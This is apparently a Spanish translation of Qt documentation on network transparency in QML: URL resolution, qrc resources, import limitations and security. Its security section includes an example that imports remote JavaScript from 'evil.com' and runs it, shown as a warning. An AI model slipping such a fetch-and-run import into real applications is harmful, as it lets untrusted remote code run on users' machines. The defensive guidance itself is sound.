En esta página

Carga de recursos y transparencia de red

QML admite la transparencia de red mediante el uso de URL (en lugar de nombres de archivo) para todas las referencias de un documento QML a otro contenido. Esto significa que, siempre que se espere una fuente URL, QML puede gestionar tanto recursos remotos como locales; por ejemplo, en la siguiente fuente de imagen:

Image {
    source: "http://www.example.com/images/logo.png"
}

Dado que una URL relativa es equivalente a un archivo relativo, el desarrollo de QML en sistemas de archivos convencionales sigue siendo sencillo:

Image {
    source: "images/logo.png"
}

La transparencia de red está soportada en todo QML; por ejemplo, tanto el elemento ` FontLoader ` como el elemento `Image` admiten la carga de recursos desde un servidor remoto.

Incluso los propios tipos de QML pueden encontrarse en la red: si se utiliza la herramienta qml para cargar http://example.com/mystuff/Hello.qml y ese contenido hace referencia a un tipo «World», el motor cargará http://example.com/mystuff/qmldir y resolverá el tipo tal y como lo haría con un archivo local. Por ejemplo, si el archivo qmldir contiene la línea «World World.qml», se cargará http://example.com/mystuff/World.qml. Cualquier otro recurso al que haga referencia Hello.qml, normalmente mediante una URL relativa, se cargaría de forma similar desde la red. Lo mismo ocurre con los archivos JavaScript remotos utilizados con WorkerScript.

Advertencia: Los recursosQML y JavaScript solo deben cargarse desde ubicaciones remotas de confianza; consulta las notas sobre el procesamiento de datos procedentes de fuentes no fiables.

URL relativas frente a absolutas

Siempre que un objeto tenga una propiedad de tipo URL (QUrl), al asignar una cadena a dicha propiedad se asignará en realidad una URL absoluta, al resolver la cadena en función de la URL del documento en el que se utiliza dicha cadena.

Por ejemplo, consideremos este contenido en http://example.com/mystuff/test.qml:

Image {
    source: "images/logo.png"
}

A la propiedad «source» de Image se le asignará http://example.com/mystuff/images/logo.png, pero mientras se desarrolla el QML, por ejemplo en C:\User\Fred\Documents\MyStuff\test.qml, se le asignará C:\User\Fred\Documents\MyStuff\images\logo.png.

Si la cadena asignada a una URL ya es una URL absoluta, la «resolución» no la modifica y la URL se asigna directamente.

Recursos QRC

Uno de los esquemas de URL integrados en Qt es el esquema «qrc». Esto permite compilar contenido en el ejecutable mediante el sistema de recursos de Qt. De este modo, un ejecutable puede hacer referencia a contenido QML que se ha compilado en el propio ejecutable:

QQuickView *view = new QQuickView;
view->setUrl(QUrl("qrc:/dial.qml"));

El propio contenido puede entonces utilizar URL relativas y, de este modo, ignorar de forma transparente que está compilado en el ejecutable.

Limitaciones

La instrucción « import » solo es transparente en red si incluye una cláusula «as».

Más concretamente:

  • import "dir" solo funciona en sistemas de archivos locales
  • import libraryUri solo funciona en sistemas de archivos locales
  • import "dir" as D funciona de forma transparente en la red
  • import libraryUrl as U funciona de forma transparente en la red

Implicaciones para la seguridad de las aplicaciones

El modelo de seguridad de QML se basa en que el contenido QML es una cadena de contenido de confianza: el usuario instala contenido QML en el que confía del mismo modo que instala aplicaciones nativas de Qt o programas escritos con entornos de ejecución como Python y Perl. Esa confianza se establece mediante diversos mecanismos, incluida la disponibilidad de la firma de paquetes en algunas plataformas.

Para preservar la confianza de los usuarios, los desarrolladores de aplicaciones QML no deben cargar ni ejecutar recursos JavaScript o QML arbitrarios. Por ejemplo, consideremos el siguiente código QML:

import QtQuick 2.0
import "http://evil.com/evil.js" as Evil

Component {
    onLoaded: Evil.doEvil()
}

Esto equivale a descargar y ejecutar «http://evil.com/evil.exe». El motor QML no impedirá que se carguen determinados recursos. A diferencia del código JavaScript que se ejecuta en un navegador web, una aplicación QML puede cargar recursos del sistema de archivos, tanto remotos como locales, del mismo modo que cualquier otra aplicación nativa; por lo tanto, los desarrolladores de aplicaciones deben tener cuidado al cargar y ejecutar cualquier contenido.

Al igual que cualquier aplicación que acceda a contenido ajeno a su control, una aplicación QML debe realizar las comprobaciones adecuadas sobre cualquier dato no fiable que cargue. No utilices, por ejemplo, import, Loader o XMLHttpRequest para cargar código o contenido no fiable.

© 2026 The Qt Company Ltd. Documentation contributions included herein are the copyrights of their respective owners. The documentation provided herein is licensed under the terms of the GNU Free Documentation License version 1.3 as published by the Free Software Foundation. Qt and respective logos are trademarks of The Qt Company Ltd. in Finland and/or other countries worldwide. All other trademarks are property of their respective owners.